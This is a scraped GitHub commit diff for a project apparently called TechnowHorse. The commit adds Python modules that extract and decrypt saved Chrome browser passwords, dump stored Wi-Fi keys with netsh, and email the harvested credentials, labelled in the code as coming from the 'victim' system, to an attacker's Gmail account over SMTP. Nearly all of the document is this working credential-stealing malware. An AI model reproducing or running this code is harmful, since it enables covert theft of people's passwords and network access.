-
Notifications
You must be signed in to change notification settings - Fork 121
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
251e7fd
commit 83eb267
Showing
5 changed files
with
211 additions
and
14 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
import os, sqlite3, win32crypt, six | ||
#python -m pip install --upgrade pywin32 | ||
|
||
class GetChromePass: | ||
def __init__(self): | ||
self.data_path = os.path.expanduser('~').replace("\\", '/') + "/AppData/Local/Google/Chrome/User Data/Default" | ||
self.login_db = os.path.join(self.data_path, 'Login Data') | ||
self.result = "" | ||
|
||
def start(self): | ||
#Retriving Password Hash From Database File | ||
c = sqlite3.connect(self.login_db) | ||
cursor = c.cursor() | ||
select_statement = "SELECT origin_url, username_value, password_value FROM logins" | ||
cursor.execute(select_statement) | ||
login_data = cursor.fetchall() | ||
|
||
credentials_dict = {} | ||
|
||
#Decrypting password | ||
for url, user_name, pwd, in login_data: | ||
pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0) #Tuple | ||
credentials_dict[url] = (user_name, pwd[1]) | ||
|
||
#Iterating Each Creds and Storing it in "self.result" | ||
for url, credentials in six.iteritems(credentials_dict): | ||
if credentials[1]: | ||
self.result += "\n\nURL : " + url | ||
self.result += "\nUsername : " + credentials[0] | ||
self.result += "\nPassword : " + credentials[1].decode('utf-8') | ||
|
||
else: | ||
self.result += "\n\nURL : " + url | ||
self.result += "\nUsername : NOT FOUND" | ||
self.result += "\nPassword : NOT FOUND" | ||
|
||
return self.result | ||
|
||
if __name__ == '__main__': | ||
test = GetChromePass() | ||
result = test.start() | ||
print(result) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
import subprocess, re | ||
|
||
class GetWifiPassword: | ||
def __init__(self): | ||
self.command = "netsh wlan show profile" | ||
self.result = "" | ||
|
||
def start(self): | ||
networks = subprocess.check_output(self.command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) | ||
networks = networks.decode(encoding="utf-8", errors="strict") | ||
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks) | ||
|
||
for network_name in network_names_list: | ||
try: | ||
command = "netsh wlan show profile " + network_name + " key=clear" | ||
current_result = subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL) | ||
current_result = current_result.decode(encoding="utf-8", errors="strict") | ||
|
||
ssid = re.findall("(?:SSID name\s*:\s)(.*)", str(current_result)) | ||
authentication = re.findall(r"(?:Authentication\s*:\s)(.*)", current_result) | ||
cipher = re.findall("(?:Cipher\s*:\s)(.*)", current_result) | ||
security_key = re.findall(r"(?:Security key\s*:\s)(.*)", current_result) | ||
password = re.findall("(?:Key Content\s*:\s)(.*)", current_result) | ||
|
||
self.result += "\n\nSSID : " + ssid[0] + "\n" | ||
self.result += "Authentication : " + authentication[0] + "\n" | ||
self.result += "Cipher : " + cipher[0] + "\n" | ||
self.result += "Security Key : " + security_key[0] + "\n" | ||
self.result += "Password : " + password[0] | ||
except Exception: | ||
pass | ||
|
||
return self.result | ||
|
||
if __name__ == '__main__': | ||
test = GetWifiPassword() | ||
result = test.start() | ||
print(result) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,71 @@ | ||
#!/usr/bin/python3 | ||
import time, smtplib, platform, getpass | ||
import get_chrome_pass, get_wifi_pass #Self Written Modules | ||
|
||
#================================================================== | ||
#Author : Pushpender Singh | ||
#Website: https://technowlogy.tk | ||
#================================================================== | ||
#Usage: Module is send Saved Password of Victim machine to Email. | ||
#================================================================== | ||
#Github: https://github.com/Technowlogy-Pushpender/ | ||
#================================================================== | ||
|
||
class SendPass: | ||
def __init__(self, email, password): | ||
self.email = email | ||
self.password = password | ||
self.system_info = self.get_system_info() | ||
self.log = "" | ||
|
||
def get_chrome_browser_creds(self): | ||
try: | ||
self.log += "SAVED PASSWORDS OF Chrome Browser FROM VICTIM SYSTEM : \n" | ||
chrome = get_chrome_pass.GetChromePass() | ||
self.log += chrome.start() | ||
except Exception: | ||
time.sleep(10) | ||
self.get_browser_creds() | ||
self.send_mail(self.log) | ||
self.log = "" | ||
|
||
|
||
def get_wifi_creds(self): | ||
try: | ||
self.log += "SAVED PASSWORDS OF WiFi FROM VICTIM SYSTEM : \n" | ||
wifi = get_wifi_pass.GetWifiPassword() | ||
self.log += wifi.start() | ||
except Exception: | ||
time.sleep(10) | ||
self.get_wifi_creds() | ||
self.send_mail(self.log) | ||
self.log = "" | ||
|
||
def get_system_info(self): | ||
uname = platform.uname() | ||
os = uname[0] + " " + uname[2] + " " + uname[3] | ||
computer_name = uname[1] | ||
user = getpass.getuser() | ||
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user | ||
|
||
def send_mail(self, message): | ||
try: | ||
message = "Subject: TechnowHorse Reporting With Saved Password\n\n" + "Report From:\n\n" + self.system_info + "\n\n" + message | ||
server = smtplib.SMTP("smtp.gmail.com", 587) | ||
server.starttls() | ||
server.login(self.email, self.password) | ||
server.sendmail(self.email, self.email, message) | ||
server.quit() | ||
except Exception as e: | ||
time.sleep(15) | ||
self.send_mail(self.log) | ||
|
||
if __name__ == '__main__': | ||
email = input("Enter Email Address: ") | ||
password = input("Enter Email Address: ") | ||
test = SendPass(email, password) | ||
test.get_wifi_creds() | ||
print("[+] Wifi Password Send Successfully!") | ||
test.get_chrome_browser_creds() | ||
print("[+] Chrome Browser Password Send Successfully!") | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,2 @@ | ||
1.5 | ||
1.6 | ||
|